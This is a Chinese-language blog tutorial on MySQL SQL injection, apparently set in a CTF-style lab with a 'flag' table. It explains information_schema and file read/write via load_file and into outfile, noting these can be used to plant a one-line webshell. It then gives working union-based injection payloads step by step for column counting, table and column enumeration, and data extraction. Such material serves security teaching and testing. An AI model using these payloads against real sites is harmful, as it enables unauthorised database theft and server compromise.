返回

SQL注入之MYSQL注入

发布时间:2022-04-21 17:35:40 406
# 漏洞# 数据# 安全漏洞# 网络安全

SQL注入之MYSQL注入

information_schema

MYSQL5.0以上版本中,再带一个名为information_schema的数据库,这个数据库存储这所有数据库名,表名和列名,可通过此数据库查询指定数据库下的表明和列名。

mysql> use information_schema;
Database changed
mysql> show tables;
+———————————————————-+
| Tables_in_information_schema |
+———————————————————-+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| KEY_COLUMN_USAGE |
| OPTIMIZER_TRACE |
| PARAMETERS |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLESPACES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
| INNODB_LOCKS |
| INNODB_TRX |
| INNODB_SYS_DATAFILES |
| INNODB_FT_CONFIG |
| INNODB_SYS_VIRTUAL |
| INNODB_CMP |
| INNODB_FT_BEING_DELETED |
| INNODB_CMP_RESET |
| INNODB_CMP_PER_INDEX |
| INNODB_CMPMEM_RESET |
| INNODB_FT_DELETED |
| INNODB_BUFFER_PAGE_LRU |
| INNODB_LOCK_WAITS |
| INNODB_TEMP_TABLE_INFO |
| INNODB_SYS_INDEXES |
| INNODB_SYS_TABLES |
| INNODB_SYS_FIELDS |
| INNODB_CMP_PER_INDEX_RESET |
| INNODB_BUFFER_PAGE |
| INNODB_FT_DEFAULT_STOPWORD |
| INNODB_FT_INDEX_TABLE |
| INNODB_FT_INDEX_CACHE |
| INNODB_SYS_TABLESPACES |
| INNODB_METRICS |
| INNODB_SYS_FOREIGN_COLS |
| INNODB_CMPMEM |
| INNODB_BUFFER_POOL_STATS |
| INNODB_SYS_COLUMNS |
| INNODB_SYS_FOREIGN |
| INNODB_SYS_TABLESTATS |
+———————————————————-+
61 rows in set (0.00 sec)>

information_schema.schemata:记录所有数据库名的表

information_schema.tables:记录所有表名信息的表

information_schema.columns:记录所有列名信息的表

table_name:表名

column_schema:列名

低版本注入

目前5.0以下版本的mysql很少见,一般只能通过字典暴力破解少数可通过文件读取收集路径信息

文件读写操作

读文件

select load_file(“D:\1.txt”) # 文件路径需要转义

写文件

select …….into outfile ‘ ‘
select …… into dumpfile’ ‘

路径获取方法(获取路径可以尝试写入一句话后门)

报错显示
遗留文件:调试网站时所遗留的信息文件,如phpinfo()等,会泄露路径,可用工具扫描到。
漏洞报错:知道对方用什么程序搭建的网站,网上搜索相关爆路径漏洞
平台配置文件:通过读取文件来读取搭建平台配置文件。缺点:路径不默认,一旦更改很难找到。

常用函数

version():数据库的版本(注意5.0版本前后的区别)
user():当前操作数据库的用户
database():当前数据库名
@@version_compile_os:服务器的操作系统

运算符优先级问题

判断注入流程

一、 判断是否存在注入点(在传参数如:id=1等等,中输入单引号)

1、这是正常打开的页面

2、在id=1处输入单引号,发现报错,说明存在注入

二、查询当前数据表有多少列用order by 来判断有多少列(超过列数就会报错)

order by 1 — qwe页面正常

一直到 order by 4 — qwe 页面不正常,这里判断有数据表3列

三 、第三步找输出点

‘ union select 1,2,3— qwe

发现2,3 都是输出点,然后可以任选一个作为输出点。

四、用2作为输出点查询数据库的表

‘ union select 1,table_name,3 from information_schema.tables where table_schema=database() — qwe

查询到一个表为user

‘union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,2 — qwe

加上limit 0,1另一个表为error_flag,这就是我们所需要的表!

五、查询error_flag表的字段
‘ union select 1,column_name,3 from information_schema.columns where table_schema=database() and table_name=’error_flag’ — qwe

显示字段为flag

六、查询error_flag表flag字段的数据
‘ union select 1,flag,3 from error_flag limit 0,2 — qwe

拿到flag(也就是flag表里的数据)。

最后获取更多网络安全信息:

+Q Q群:863658976

V X公众号: 哈客部落

哈客社区:hake.cc

特别声明:以上内容(图片及文字)均为互联网收集或者用户上传发布,本站仅提供信息存储服务!如有侵权或有涉及法律问题请联系我们。
举报
评论区(0)
按点赞数排序
用户头像
精选文章
thumb 中国研究员首次曝光美国国安局顶级后门—“方程式组织”
thumb 俄乌线上战争,网络攻击弥漫着数字硝烟
thumb 从网络安全角度了解俄罗斯入侵乌克兰的相关事件时间线